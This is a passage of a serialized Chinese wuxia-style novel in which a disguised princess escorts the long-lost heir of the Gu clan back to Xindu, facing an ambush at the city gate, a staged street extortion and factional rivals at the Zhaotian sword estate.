街道上，头戴斗笠、身配刀剑的游侠独身潜行，汗巾束发的武夫们大敞着胸怀，围坐桌前，桌上摆着十几坛酒，入口便是海碗大，划拳吆喝声不绝。
而其中最引人侧目的，便是这些武人手腕的腕带，红蓝两色，泾渭分明，人也以此划分出阵营。其中蓝色居多，且多半穿着规矩，像是武馆中常见的武夫。红色寥寥，打扮也不似本地人，如行走江湖的草莽侠客。
从冀州塔往北行，不远便是信都。
城外，马车在入城的道上行走，两旁的植被茂密繁杂，下有矮草，中有灌木，上有乔木，唯有一条曲径连通前后，不见来处、不见归处，恍若与世隔绝。
树影骚动，沙沙作响。
马车内，梅辛和竹临目光骤然警惕。
“有人在盯梢，想必我们已经被监视了。”梅辛屏息，慎重道，“倘若有人出手，您一定不要离开我们几人身边。”
明珠一惊，“他们敢半路截杀？”
可他们此行并未暴露身份，若不是被人识破，便是冀州这边早有埋伏。
忽然，马车停了，四周响起脚步声，车内梅辛和竹临面色凝重，见状，明珠也凝聚心神，仔细注意着马车外的动静。
“车上何人。”
外面传来陌生的声音。
驾车的桑吉扫了眼周围，十数剑客气势汹汹地围住马车，他身子一横，脚搭在一旁的马扎上，不客气道，“你管我们是谁？”
他这一开口，气焰十足，明珠不禁汗颜。
那道声音又响起。
“我等乃是顾家门人，不久前城中遭遇贼患，丢失了贵重物品，还望小兄弟见谅，叫我们搜查下马车里面。”
“东西丢了关我屁事，让开。”
遭遇贼患？搜查马车？
明珠和车内两人对视过，都觉此事绝不会如此简单。
这些人虽自称顾家门人，却也未必，自顾家出事以来人人避之不及，如今顾家门人也早已分化帮派，他们对外还这样亮明身份，倒更像是刻意如此。
以缉拿之名搜查，无非巧立名目，趁机搜查过往行人，此前若王藏将消息放给冀州，他们一边给京城通信，以三王牵制住白乾，一边在信都城外设伏，待他们发现顾久谦返乡的踪迹，说不定就会先下手为强。
梅辛和竹临作势要拔剑，被明珠按下。
幕后使坏之人尚未抓出，此时不宜硬碰硬，叫他们有所防备，
她朝外面开口道，“这话听着蹊跷，城中闹贼，关我们进城的人何事。”
听见马车内的女子声音，领头的剑客气势退了几分，收了剑，走上前拱手。
“惊扰姑娘了，还望姑娘见谅。”
“无妨，只是你们也瞧见了，我这姑娘家的马车岂能叫外人随意搜查，不如大哥行个方便，放我进城吧。”明珠示意道，“桑吉。”
闻声，桑吉跳下车头走向领头之人，从怀中掏出钱袋递给对方，对方却没接，朝身后挥了挥手，便有几人走上前。
“姑娘客气了，只不过我等也是奉命行事，还请姑娘下车。”
眼见这人单嘴上客气，却丝毫不肯退让，桑吉不耐烦地收回钱袋，顺势捏碎护手中的粉囊，将毒药粉藏于手心，等人发号施令。
马车内，明珠冷笑一声。
“奉命行事，奉谁人之命？”
要说能在冀州发号施令的人，无外乎那两大山头的头目，也就是白乾之前提及的两位，一位是顾平的师弟郭甫，另一位是顾平的结拜义兄赵鋆岩。
郭甫与顾平都是冀州本地人，二人同出一门，又是连襟，共同承袭祖辈武艺和产业，顾平担任顾家昭天剑派掌门时，郭甫被任命为堂主，顾氏一族灭门后，便由郭甫代管掌门事宜，统领其门下剩余弟子。
赵鋆岩原是江湖浪人，祖籍不详，逃荒途经此处，在顾平的帮衬下在信都扎根，而今郭甫接手统领的门派不容他们这些外地人，他便召集来自五湖四海的江湖人，在冀州成立了自己的帮派——聚义帮。
见外面人沉默以对，想来是不肯透露了。
“我竟不知信都的衙门不管事，这搜查之事还能交给旁人。”隔着车帘，明珠犀利道，“凭你们几个，还想要搜查我的马车，我便要见见顾家如今的话事人，若非官身，却号令众人私下盘查，这是打算自立为王，占地谋反了？”
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帽子扣得越大，对方越要投鼠忌器，只不过这些人态度强硬，不见棺材不落泪，若不拿出些像样的身份，恐怕震慑不住。
“姑娘此话言重了，我等万万不敢担待。”剑客瞧此人不是善茬，话软了些，“待我等确认无误便可进城，还望姑娘行个方便，也不至于大家为难，耽误姑娘进城就不好了。”
“那不如你们杀了我，再搜马车岂不方便。”明珠冷声道，“诸位要搜查什么我虽不知情，可要奉劝你们，别搬起石头砸自己的脚，今日你们胆敢往前一步，明日赵鋆岩和郭甫的名字就会被人呈上御前，诸位掂量清楚。”
“？！”
此话分量非比寻常，剑客们纷纷面露诧异，不禁审视起眼前一行人，这马车朴实无华，与车坊租赁的马车无异，放在信都城中都不甚显眼，不曾想竟卧虎藏龙。
再看这驾车之人，不仅态度嚣张，长相也不像是寻常梁人，恐怕里面的人当真身份不凡。思及此，领头之人犹豫起来，和身边人耳语过一番。
“这……姑娘说这话可有凭证？”
“笑话，你们搜查都无凭无据，现如今却要我先亮明身份，也罢，看过就叫你们的人撤走。”
当啷——
一块令牌从车窗丢出，发出清脆的声音。
领头之人捡起来仔细看过，脸色微变，虽未见识过宫令，可这手中的角质符节刻纹清晰，上面的宫廷字样断不可能造假，他才发觉惹上不该惹的人物了。
“若要搜查马车，也可。”明珠继续道，“你等一一报上名来，待我见过冀州主事，自然会给各位一个交代，自然，也会向他要一个交代。”
“小人们不敢，鲁莽行事惊扰了贵人，还望贵人恕罪，小人们这就放行！”
他忙喝退其余人让行，又将令牌恭敬呈给马车里面，只是还未等他靠近，那驾车之人就上前来一把夺过，驾起马车扬长而去，留下他们在原地吃灰。
待马车驶远，身后有人凑近道，“大哥，里头那人来头不小，咱们这回得罪了人家，要不要……把此事禀告那位知道啊？”
“蠢啊你！这事本来就是瞒着那位干的，怎么能让他知道咱们要截杀顾家那小子，此事若泄露出去，对面定要闹上门。”
“幸亏今日没真动手，否则事儿就大了，可是不知道瞒得住瞒不住，大哥，若官道上的人盘问下来，不好收场啊……”
“咱们并未暴露身份，你们只管闭紧嘴，到时候大不了我一人担着！”
177.讹人是不是？
昭天剑庄，两方对峙。
泾渭分明的两伙人立于堂外，横眉冷对，手腕上赫然分别是红蓝二色。
堂内，身形魁梧的黝黑老汉身着暗棕毛皮，头发与络腮胡灰白一色，年事已高但不见佝偻老态，此刻，他正聚精会神，用刀子削着一块剃下的狗皮。
坐在另一侧臃肿的青年人，盯着对方手中的刀，脸上的横肉绷着，眉头紧锁，今日难得与之坐于一室，却连喝茶的兴致都没有。
老汉抖了抖狗皮的浮毛，开口道，“郭老弟，你怎么看。”
“我记得，这条狗不是年前刚从黑市淘换的吗，个头大，牙口还好，咬死过不少人，赵兄不还挺稀罕的吗，”郭甫斜眼瞧了他一眼，“这会儿心倒是狠，连跟着自己的狗都能杀，还有啥事干不出来？”
赵鋆岩却没当回事，自顾自削掉最后一块杂质，说道，“养不熟啊，这种只会狂吠，不分敌我的蠢狗，老子留它又有何用。”
“养不熟就宰了，赵兄若是这般，我怕是不敢让久谦回来，免得到时候碍了老大哥的眼，对那孩子也不留情面。”
赵鋆岩嗤笑一声，将刀利落收进袖中，眼神飘向那张弥罗佛似的憨厚面孔。
“你是怕我，还是怕你自己地位不保。”
“我怕什么，郭甫能有今时今日，全靠顾平兄当年的提携，若他儿子真还活着，自然要接他回来认祖归宗，这昭天剑庄也要交在那孩子的手中，以告慰顾兄在天之灵！”
赵鋆岩笑了，他站起身，重重拍了下郭甫的肩膀。
“那你还不如回家拜拜你媳妇。”
“欸，你这话什么意思！”
郭甫急了，刚想与之理论一番，哪知对方将狗皮撇到桌上，头也不回地走了，临走前，撂下一句话。
“皮子留给郭老弟了，那孩子若回来，不必领他来见我。”
赵鋆岩一伙人浩浩荡荡离开后，郭甫的手下一窝蜂涌进堂内。
“如何了掌门，姓赵的怎么说，若是把久谦师弟接回来，他不会又使什么绊子吧？”
“先不说姓赵的如何，王藏说的这件事靠不靠谱啊，就凭他一面之词，怎么能证明顾小爷活着，还在京城活动，这也太离奇了。”
“藏爷不是说白大侠都入京了，这事儿十有八九是真的！我瞧那姓赵的就是不乐意小谦兄弟回来，他那个聚义帮占山为王，抢了兄弟们多少地盘了都，那吃进去的怎么乐意吐出来？！”
众人七嘴八舌说着，脸上或喜或忧，或质疑此事真伪，毕竟当年事发突然，没有任何向上疏通的机会，顾家就被定罪斩首。
这时，就听门外一女声响起。
“够了。”
闻声望去，一时间议论声渐消，众人纷纷恭敬拱手。
“见过夫人。”
一位丰腴妇人扶着丫鬟的手，利落迈过门槛，浅扫了眼堂上诸人，挥了挥手，叫他们收了礼数。
“夫人怎么来了？”郭甫忙起身相迎，说道，“今日不是说给鹏儿选料子制新衣吗？”
“我听说赵帮主今日来访，商讨接小谦回来的事。”
郭甫挠了挠脖子，说道，“他能说出什么好话，巴不得见不着小谦呢，还说就算孩子回来了，也不用见他。”
闻言，王芝拧起眉毛。
“昭天剑庄的事什么时候需要外人过问，顾平的兄弟、孩子的世伯他爱当不当，但那是小谦，我是他的亲姨母，你是他的姨父，我就先不提你比不上人家白乾大哥，人家得知消息就快马加鞭去京寻人，倒是你这个做姨父的还不见动静。”
郭甫站在原地，听着媳妇数落，有心解释，却插不进去话。
王芝看着自己丈夫，严肃道，“郭甫，这世上小谦他只有我们这些亲人了，倘若我们不管他，岂不是叫孩子在世上无依无靠。我只说一句话，必须把小谦接回来。”
闻言，众人不免触动，当初顾氏之案平反，便是如今的掌门夫人王芝率先提出修复顾家宗祠，一力操办，足见其情义。
就连郭甫这个掌门任命，多少也是沾了这位嫂夫人的光。
其实门中顾平的亲传弟子不少，当初谋逆冤案既定，顾平竭力将罪名全揽在自己身上，才未将他们这些外姓人牵扯进去，徒弟们大多都十分感念其恩义。
而王芝作为顾平妻子王芙蕖的亲姐，当初为郭甫与顾家牵线，既是连襟，后又成了师兄弟，关系亲近，这才使众人愿意听命于郭甫，推举他为新任掌门。
“夫人说的是！我这就派人去京中寻人！”眼见媳妇发了话，郭甫也摆出态度，对众人吩咐道，“即刻启程，把你们大师兄也喊来，一起去京城接小谦回家。”
“云青师兄去巡街了，聚义帮那边总在西市闹事，大师兄带着兄弟们去了。”一弟子回道。
此时，信都西市。
“小姐，咱们不去和白叔汇合吗？”梅辛递给明珠一串糖葫芦，问道，“叫竹临一个人去成吗？”
“白乾身份特殊，进了信都必然瞩目，咱们晚些去碰头，桑吉暗中跟着呢，若有什么事他会回来说的。”
明珠咬了口沾满蜜糖的山楂，嘎嘣脆，酸甜
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可口。
“欸，都说了我现在是你姐，怎么还露馅，这可不成。”明珠敲了敲他的手背，说道，“再背一遍。”
“是。”梅辛无奈道，“您和竹临是姐弟，姓贺，家在京城边卖小馄饨，当初在进城的路上，收留了无家可归，饿晕在路边的我。”
所幸王藏留了心眼，冀州这群人和白乾不同，利益牵连甚深，行事未必如白乾般坦荡，故而未将梅辛在京中的情况和盘托出，只说了顾久谦就在京城。
“好，那你是怎么进京的。”明珠继续发问。
“有人在馄饨铺子闹事，被我打出，正巧被城门值守的城门尉发现，招纳为手下，竹临是走了我的门路也开始习武。”
“不错嘛，都记住了。”明珠拍了拍他的肩膀，笑道，“从现在起，叫我贺姐姐。”
正走着，手中的糖葫芦被人一胳膊撞掉，明珠抬眼看去，是旁边店铺的伙计，对方只瞥了一眼，便冷淡走开了。
梅辛眼疾手快拦下那人，笑道，“伙计，撞了人怎么连句客气话也不会说，方才，你是故意的吧。”
没想到那伙计一屁股坐在地上，哀嚎起来。
“打人了！打人了！”
“？？？”
明珠和梅辛面面相觑，一时间，街道和周围店铺的人闻声涌了过来，见状，梅辛拉低帽檐遮住脸。
那伙计还振振有词道，“诸位评评理，我不过是不小心撞掉了他们的东西，这小哥就扬言要打死我！这儿可是冀州信都，不是你们外乡人撒泼的地界！”
眼见周围人越来越多，梅辛想拉着明珠先走，却被人群中几人挡住去路，这才警觉有些人可不单是来看热闹。
“打了人还想跑？”
见此情形，不明真相的周围群众先入为主，也纷纷声讨起来。
“怎么又是外乡人来闹事？”
“这也太嚣张了，外乡人仗着赵帮主的势，欺负得我们还不够吗，赵帮主都不管吗？！”
“还说呢，若不是他，冀州怎会有这么多外地人为非作歹，要我说，不如趁早将这群外乡人赶出冀州！”
积怨在此刻爆发，人们越挤越近，梅辛将明珠护在身后，不知谁趁机伸手推搡了梅辛一把，梅辛却早有防备，反手握住那只黑手，一下子将此人扽了出来。
眼见露了馅，那人佯装吃痛。
“诶呦！怎么你还想打人？！”
群情激愤下，梅辛不得不松手，那人迅速遁入人烟。
这时，马蹄声响起。
“何人闹事！”
178.碰瓷判官
人群外，一小队人马赶到，各个护腕束袖，一瞧就是练家子，为首的男子阔肩窄腰，剑眉星目，一身黑白分明的武服，腰间靛蓝绑带束紧，挂着柄青色佩剑。
“太好了，是昭天剑庄来人了！”
“云青大侠亲自来了，看他们还敢不敢嚣张！”
来人下了马，围观人纷纷为其开路，为首的男子来到伙计跟前，扫了眼现场等人，那伙计坐在地上撒泼打滚，不依不饶地叫嚷着。
“段大侠您可算来了，他们这群外乡人都闹了多久，实在是不把咱们昭天剑庄放在眼里，今日小的不过是撞掉了他们东西，他们就要动手打我，您可一定要为乡亲们主持公道啊！”
明珠看着这家伙演了整场戏，这时才开口。
“你把糖葫芦的钱赔我就行。”
“……”
众人纳闷，这就解决了吗？
“你们看有人来了才服软，谁知道赔了钱，那小哥会不会放过我？！”伙计不肯罢休，指着梅辛喊道，“方才就是他拦着不叫我走，还要打人！”
“你说话就说话，指人就不礼貌了。”明珠挡住梅辛身前，说道，“路这么宽，你非要往我身上撞，谁知道你是不是耍流氓？我家兄弟说你一句，你就倒地讹人，我看你就是成心占我便宜！”
听到姑娘家这么说，周围有些人的眼神变了，几个年轻女子看向那伙计，面露嫌恶。
“我耍流氓——？！”伙计一口气险些噎死，叫屈道，“我连碰都没碰到你，你有什么证据说我占你便宜！！”
“证据？”明珠挑眉道，“你方才亲口承认撞掉了我的东西，现在又说没碰到我，我这东西拿在手里，难不成你能隔空取物，依我看，你就是故意碰瓷。”
双方虽各执一词，但众人听得明白，那伙计说辞明显前后不一，对他一直嚷嚷的打人之事也渐持保留。
风向转变，梅辛注意到人群中异动，之前言语激烈的几人消失了。
明珠看向为首的男子，说道，“这位大侠，你也听到了，此人说话颠倒，明摆着做局陷害我们，张口闭口外地人，叫途经此地的游客听见，还以为咱们信都尽是些讹诈、排挤外地客人的黑店。”
还未等来人发话，在周围异样的视线中，那伙计就先退缩了，忙拍屁股起身，从兜里掏出几文钱塞到梅辛手中。
“那我赔你们钱不就得了，用得着这么厉害，你这小姑娘牙尖嘴利，一脸克夫相，当心以后嫁不出去！”
闻言，梅辛猛地攥住那伙计的胳膊，任凭对方怎么也挣脱不开。
“你再说一遍试试。”
“我……我，我就说！怎么你、你真想打死我啊！！”
瞧那人磕磕巴巴，怂得不像样，明珠拍了拍梅辛的肩膀，笑道，“让他走吧。”
梅辛这才甩开手，那伙计身子一晃，险些站不稳，捂着肿痛的胳膊刚想开溜，就见一把剑横在眼前。
“段大侠，你这又是何意？！”
“道歉。”
前有狼后有虎，伙计欲哭无泪，认命般耷拉着脑袋，屈到明珠跟前。
“姑奶奶开恩，这钱都赔给您了，叫诸位好汉放我走吧。”说着，伙计作势给了自己一嘴巴，也没舍得真打，哀求道，“小人这张嘴吃了猪粪，姑奶奶大人大量，别跟小的一般见识……”
“你口味还挺重。”
“……”
那伙计嗫嚅了几下，不敢再多说，往左右偷瞄，见没人再跳出来说什么，就缩着脖子一溜烟儿跑了。
热闹没了，周围人逐渐四散离开，那姓段的大侠走上前来。
“今日之事还望二位见谅，信都并非人人如此。”
“大侠放心，哪个地方还没几个奇葩了。”没想到此人还挺正派，明珠回道，“今日之事，我们不会放在心上。”
“姑娘大度。”
段云青拱手表示领情，待他将目光移向女子身后，那帽檐下只露出了半张脸，却令他微微愣神。
“这位兄弟……有些面熟。”
“？！”
明珠暗叫不好，急忙上前阻拦对方视线，笑盈盈道，“是嘛，我一见段大侠也觉得面善！段大侠今年多大啊，婚否啊？不如加个联系方式，改日小女登门道谢呀！”
段云青听得直皱眉头，摆手道，“不必，在下告辞。”
一行人翻身上马，待他们走远，明珠才松了口气，扭过头，梅辛正望向那人离开的方向，神色凝重。
“你们认识？”
“认识。”
多年未见，他已从少年到成人，而对方仿佛从未变过，仍是那身打扮，那副严肃持重的模样，恍若昨日。
“此人名为段云青，无父无母，八岁时被我父亲收养，拜于顾家门下，是顾氏掌门亲传弟子，昭天剑庄深受倚重的大师兄。
“也是在顾家被处决当日，唯一不见踪影的内门弟子。”
那一日，血腥气弥漫整个庄院，父亲沧桑的声音在耳边回荡。
“我顾氏一族为国、为君尽忠效力，自认平生行事光明磊落，无愧于顾家列祖列宗，今日虽蒙冤受罪，然顾某向上苍起誓，所做之事皆为冀州百姓，绝无反意……
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”
誓言戛然而止，他不敢去想，不敢停下脚步，墙那头不断传来弟子们的喊声。
——云青师兄呢！
——大师兄去哪了！怎么不见他人？！
——段云青这个白眼狼！枉费师父平日待他，事到临头他却躲了！！
门后的亲随蓄势待发，夜漆黑，风冷冽，跑得人喉咙发痒。
这一路，他没有等来云青师哥，却在逃亡路上等来了追击的刺客，招招致命，尽是顾家内门弟子所习剑术。
以顾家的剑杀顾家的后人，何其讽刺。
“怀疑他？”
“我不知道，”梅辛垂下眼眸，“我只是希望他，没有辜负父亲的信赖。”
啪嗒！
一枚石子落在明珠脚边。
环视左右，无人注意这细微动静，明珠随即示意梅辛进到旁边小巷，头顶一身影从房上翻身跃下，落到他们面前。
“如何，见到白大叔了吗？”
“见到了。”桑吉瞄了眼巷外，说道，“沿路许多人盯着，尤其竹临和他碰面后，盯梢的人多了一番，我没再靠近。”
“做得好，城外那群人见过你，眼下不确定他们是谁派来的。”明珠斟酌片刻，说道，“信都这些人不简单，恐怕难逃他们视线，这些时日你先找个地方躲起来，别露面了。”
桑吉不满道，“又是我一个人。”
“听话。”
桑吉撇嘴，从口袋掏出一粒红色的小药丸，对明珠说道，“吃了。”
“这是什么？”梅辛怀疑道。
桑吉白了他一眼，“毒药。”
明珠无奈一笑，从他手中拿过，二话不说丢进嘴里。入口，药丸迅速化开，竟还有一丝甜味。
“都说了毒药，你还敢吃？”
“有何不敢，我知道你不舍得毒死我。”
闻言，桑吉压了压嘴角，眉梢眼尾却难掩得意。
“这是解药，毒我藏在你簪子上了，那几颗珠子里面是毒粉，吃了就归西。”
明珠小心摸上发簪，纳闷他什么时候藏进去的。
“没想到桑吉小弟心还挺细，解药还有没，也让咱们吃一颗呗。”梅辛凑近道。
桑吉闪身躲过，几步跃上墙头，探出脑袋来。
“呵，毒死你才好。”
说罢，从他们头顶消失。
“那贺姐姐，咱们下一步怎么办，去找白叔他们吗？”
“不，”明珠笑道，“直接登门。”
既然万众瞩目，又怎能不给诸位看客们一个惊喜呢。
179.少主归门
信都南城门口，竹临独自倚在城墙边，等白乾入城汇合，在此期间，他敏锐地感受到周遭的视线，茶铺、小摊、巷口，同样有不少人盯着入城的关卡。
这时，地面传来敲击声，竹临循声望去，一个老人家拄着拐杖，步履蹒跚走到他身旁。
“你……是要去京城吗？”老人问道。
竹临摇头，回道，“不是。”
老人没再说什么，只是失落地走开，又寻下一个人问，举止颇为怪异。
竹临不由打量起老人，此人白发苍苍，双目浑浊，腿脚也不利索，颤颤悠悠地拄着旧拐杖，拦了一个又一个出城的人。
城门口的侍卫上前驱逐，“别整天在这儿碍事。”
老人却好像没听到似的，又拉着护卫问。
“你去京城吗？”
“滚滚滚。”
侍卫甩开老人，老人没站稳，眼见就要跌倒，被一人伸手扶住。
“何必为难老人家。”白乾将拐杖递给老人，对侍卫说道。
“开元大侠？！”侍卫惊呼，忙解释道，“您有所不知，这人是个老糊涂，成天在咱们南门口拦人，好言劝着又不听，每次还得叫他儿子来领人回去，您说这不是给我们找事嘛。”
正说着，老人的儿子急匆匆跑上前。
“诶呦，我的爹！您怎么又出来了，走，跟我回家吧。”老人的儿子对着两人赔罪，“二位大人多有得罪，我爹岁数大了，给二位大人添麻烦了，小人这就领他回去！”
见老人走远，白乾转身拍了拍那侍卫的肩膀。
“下次他若还来，小兄弟多担待，就当给白某一个面子。”
“您这太客气了！”侍卫受宠若惊道，“放心，他一个老头子，我们必然不为难。”
“多谢。”
和侍卫告辞后，白乾先行走进一家茶馆。
竹临见状，也随其后。
茶馆二层，白乾坐在窗边，目光向外侦察，自从他进城，有几双眼睛便钉在身上，信都百姓或多或少有认识他的，这不奇怪，可那些人明显并不是来看热闹的。
说不定过一会儿，这条街上来的人会更多。
“你一个人？”白乾看了眼跟来的竹临，问道。
“是，在下姓贺，与……家姐在京城边开有一馄饨铺子，三年前收留了在路边险些饿死的梅辛，承蒙白乾大侠照拂，让我们三人来到冀州为他寻亲。”
听着说书似的对白，就知道是长公主殿下为微服私访编造的身世了。
白乾无奈一笑，“好，白某记得了，既然贺姑娘让你独自前来，想必另有安排，咱们就先在这里等着吧，这下面的人还没到齐。”
“那些人会动手吗？”竹临看向窗外说道。
“有我在，他们不敢。”白乾倒上茶，沉吟道，“兴许是多年未见，都想来看看顾家少主是个什么模样。”
白乾不禁叹息，物是人非的道理，他还没有十几岁的丫头看得透彻，不知昭天剑庄还能不能容得下顾家人。
另一边，那二人已然来到昭天剑庄门前。
昭天剑庄不避世，历经两任，顾家掌门人恪守家训，以锄强扶弱、匡扶正义的己任，在江湖享誉多年。
悬挂于大门之上的牌匾乃先帝所赐，如今业已蒙尘，不见成群结队的弟子进出，也没有往来登门的江湖客，除了门前站岗的弟子和洒扫的下人，连做买卖的小贩都被赶得十丈远，大门前人烟寥寥，不复昔日。
梅辛望向大门，神色惶惶。
原本此街乃是主干道，来往热闹，剑庄门槛修得低平，为了耆老和稚童通行方便，曾几何时，阿爹就坐在门前为老人们修拐杖，阿娘在一旁为孩子们梳发髻、做糖人。
忽然，手心传来触感，梅辛垂眸，发现自己被一只柔软的手牵上，纤细的十指扣在掌缝中，摩擦过老茧和伤疤。
“走吧，我陪着你。”
“……嗯。”
梅辛跟着明珠的步伐，心神不由放松了几分。
门前，洒扫的下人注意到走近的两人，用扫帚拦在他们身前。
“此处是昭天剑庄，闲杂人等不可靠近。”
“我们当然知道这是昭天剑庄。”明珠冲门口那几人喊道，“我们是来登门的，那边站岗的小哥，麻烦通报一下吧。”
站岗的外门弟子连眼皮都不抬一下，慢悠悠走上前，掏出册子。
“且慢，你们是哪门哪派，来昭天剑庄是何事由？”
“门派？”明珠思忖道，“没有门派，我们是来找郭甫郭掌门的。”
“无门派？”
外门弟子收起册子，目光打量。
眼前一男一女年纪轻轻，不似本地人，衣着朴素，非大户人家子弟，倒是那带着斗笠的男子，身姿挺拔，腰间别着剑，看样子懂些武艺。
“好大的口气，哪儿来的阿猫阿狗，还想见我们掌门，你们以为昭天剑庄是菜市口，想见谁就见谁？”
明珠不急不忙道，“我们是来送礼的，此次专程赶赴信都，备了大礼来拜见郭
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掌门。”
“大礼？”外门弟子嗤笑一声，“既然是来送礼，也该有点眼力见儿啊。”
对方话中有话，明珠自然知道这人要收好处，刚想掏钱袋，却被梅辛拦下。
以往这种事，梅辛甚为活络，可眼下，他眉头紧锁，严肃道，“昭天剑庄对待来客，从未有过这样的规矩。”
“呦呵？你这小子不识时务啊！”外门弟子抱着肩膀，趾高气扬道，“规矩是你说了算还是我说了算？你是什么东西，敢不敢报上名来！”
闻言，梅辛眼神渐冷，昭天剑庄不该放任这些人肆无忌惮。
“等等，你……”
扫地的下人瞥见斗笠下的面孔，犹豫地走上前。
“你是……”
顾家人消迹不过数年，更何况这是昭天剑庄，即便被识破也寻常，毕竟，昭天剑以顾家之脉传承，怎能不认主。
梅辛摘下斗笠，旧日身世也随着被遮挡的容貌揭秘。
“顾久谦在此，尔等速去回禀郭掌门。”
听到这个名字，那几个外门弟子如梦初醒，一个个珠子都要瞪出来，下人撇了扫帚，凑近到梅辛跟前，恨不得从头到脚，连头发丝都要端详一遍。
“像！像！”
此话一出，原本态度嚣张的外门弟子们不可置信地盯着此人，他们多半是郭甫当家后收入昭天剑庄，不比庄院的下人，与顾家人相处多年。
“你、你是顾掌门的儿子，他们说的居然是真的，顾家的小儿子还活着……”
“快！快去回禀掌门啊！”
话音刚落，那外门弟子连滚带爬地跑进去通报，不顾大堂内议事的郭掌门和诸位堂主，一把推开门，众人诧异地看向他。
还未等众人开口询问，只听那弟子高喊着。
“掌门！顾家那个孩子回来了！！”
郭甫心下一惊，拍案而起。
“人在哪儿？！”
“就在大门外！”
竟然直接登门了？！
一听此话，堂内众人瞬间炸开锅。
“真回来了！！”
“跟开元大侠碰面的那孩子，果然就是顾家的少主？！”
“不对啊，咱们的人都跟着，白乾一行不是还在南门吗，这上门的人是谁？”
众人七嘴八舌地说着，郭甫握紧手中的胡桃，咯吱咯吱作响，他按捺住烦杂心绪，大手一挥。
“快叫人进来！不！我亲自去！”
无论是谁，都要先将人迎进来。
180.在天有灵
顾久谦回来的消息很快传遍昭天剑庄，一石激起千层浪，沉寂已久的庄院抵达沸点，人群澎湃，从内部疯狂外溢。
昭天剑庄门口，郭甫带着人浩浩荡荡赶到，他定睛一看，不禁红了眼眶。眼前之人与小时候别无二致，这些年不见，长得高了、壮了，眉眼像极了当年意气风发的顾平。
“小谦！你是小谦！孩子，你还活着！！”
人们一拥而上，明珠被挤出众人之外，她没有急着上前，而是站在局外，考量地扫视着在场之人。
这场突然袭击带来的效果不错。
出来迎接的有老有少，想必事发突然，顾久谦回归此等重磅新闻，即便是人有心也根本就来不及压下。
领头之人便是新任掌门——郭甫，此人身边亲信尽是些外门弟子，他们没见过顾久谦，这会儿围在梅辛身边好奇打量，反而一些随后赶来，凑不到近前的弟子，却热泪盈眶。
放眼望去，还有几个中年人，站在远处交头接耳。
昭天剑庄设有掌门一位，堂主六位，而顾家满门抄斩后，这些位置出缺，唯余郭甫一人，而自从他担任掌门，余下的堂主之位自然由其任免，看装束打扮，那些中年人应该就是几位现任堂主。
“小谦，你回来了就好！”郭甫如白乾认人时那般，一个劲儿拍打梅辛的肩膀，说道，“好孩子，这些年你在外面定吃了不少苦，赶快回家来，咱们家中叙话，叫你姨母给你做顿好的，为你接风洗尘！”
久别重逢，郭甫激动不已，说着就领梅辛往外走，街对面便是郭家宅邸，门户小些，离昭天剑庄不远。
“郭掌门，留步。”
郭甫闻声望去，开口阻拦的是一名陌生女子。
“姑娘是？”郭甫问道。
“姨父，这位是我的救命恩人，贺姑娘。”梅辛介绍道。
“原来是小谦的救命恩人！”郭甫恍然，感激拱手道，“那便是我们的贵客，快一同请进家中！”
“郭掌门客气了，”明珠礼貌一笑，说道，“只不过，顾久谦家不是在昭天剑庄吗，怎么不回那里？”
此话一出，郭甫身边几人脸色略沉。
明珠确实故意，此番主体和客体必得分清明白，顾久谦并非以郭掌门晚辈的身份重返，若跟着郭甫回了郭家，便是认了这个当家人，矮人一头，可他们回来又不是为了探亲。
顾久谦认祖归宗，将来便是昭天剑庄的主人。
有人立马解释道，“这不是尚未确认呢，怎能叫一个生人随意进出昭天剑庄，待确认无误再迎进来也不迟。”
“尚未确认？”明珠笑道，“难不成诸位以为我们是来行骗的？”
“这……早就闻听白乾大侠去京城接人，如今他人就在城南，你们却未与之同行，这身份难说……”
这些人也太沉不住气了，明珠心中冷笑。
“看来，你们是知道白乾大侠进京之事，那不知诸位是否清楚，京城有人从中作梗，阻拦白乾大侠寻人之事？”明珠看向郭甫，无辜道，“郭掌门，昭天剑庄不会不欢迎我们回来吧？”
“怎会！竟然还发生过这种事，姑娘放心，郭某定会调查清楚！”郭甫扭头对那人斥责道，“你说的是什么话，小谦我还能不识得？你们速去准备，向冀州各门报喜，明日我就带小谦回昭天剑庄认祖归宗！”
郭甫如长辈般拉起梅辛的手，说道，“小谦，今日实在仓促，你认祖归宗是大事，必得重视，到时候定要大排筵宴，叫整个冀州都知道顾家后继有人，今日你先回家见见你姨母，自打知道你还活着，她盼星星盼月亮，盼着你回来，恨不得亲去京城接你。”
郭甫之妻王芝，乃是顾家主母的亲姊妹，若说世上还有谁与顾久谦血脉相连，恐怕就只剩下这位了。
听到姨母，梅辛眉间郁气稍缓，却还是回绝道，“我想先去拜见我爹娘。”
梅辛怎会不知殿下为他所想，顾家宗祠位于昭天剑庄，他作为儿子，去拜见父母灵位，谁也不能置喙。
“没错没错！”郭甫一拍脑门，懊恼道，“你瞧我这一高兴，这么要紧的事都忘了，是得先去宗祠拜见你爹娘，唉，你能回来，顾兄在天之灵定然欣慰。”
一旁，有些人还是不依不饶，阻拦道，“掌门，此事事关重大，要不等白乾登门再决定也不迟，他人不就在信都嘛。”
“就说怎么都在这儿，原来是等白某。”
“开元大侠？！”
说曹操曹操到。
几个堂主露出诧异之色，转头见派去的人也灰溜溜回来。
没想到顾久谦早就到了昭天剑庄，城门监视的那些人未能收到进一步的指令，只好一路跟踪白乾和他身边之人，就这么水灵灵跟着回来了。
“白某还说，以往来信都，从未见如此大阵仗。”白乾视线扫过那几个堂主，几人心虚地移开视线，白乾继续道，“郭兄，小谦回来了，是该先回昭天剑庄。”
有人见白乾
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身边跟着一位陌生少年，青衣佩剑，怎么看也不像是不懂武道的普通人。
“白大侠，那孩子是——”
“是家弟。”明珠拉过竹临站在自己身边，对几位堂主说道，“叫诸位误会了，真是不好意思。”
“……原来如此，哈哈。”
有白乾撑腰，这些人也不敢不给面子，只得为他们让开路。
时隔多年，昭天剑庄终于迎来了顾氏后人归家，梅辛在众人簇拥下，回到这个阔别多年的家。
步入庄院，红砖灰瓦、坛中草木、角落的木桩，他飘零半生，却发觉有些东西，其实并不会遗忘，根深蒂固的树怎会不记得脚下的土壤。
随着深入其中，熟悉的气息、事物将记忆撬开，露出原本的模样，恍若昨日。
突然，梅辛止住脚步，回过头寻人。
“怎么了？”郭甫疑惑道。
一眼望去，人头攒动，紧随其后的数十弟子与家丁仆从，人山人海，难辨你我，梅辛眉宇间染上一丝急色，他找不到殿下了。
明珠见状，拼命挤过众人，跌跌撞撞来到梅辛身边，发髻和衣服被挤得松散皱巴，颇有些狼狈。梅辛忙伸手将她带离人群，在耳边悄声。
“您别走丢了。”
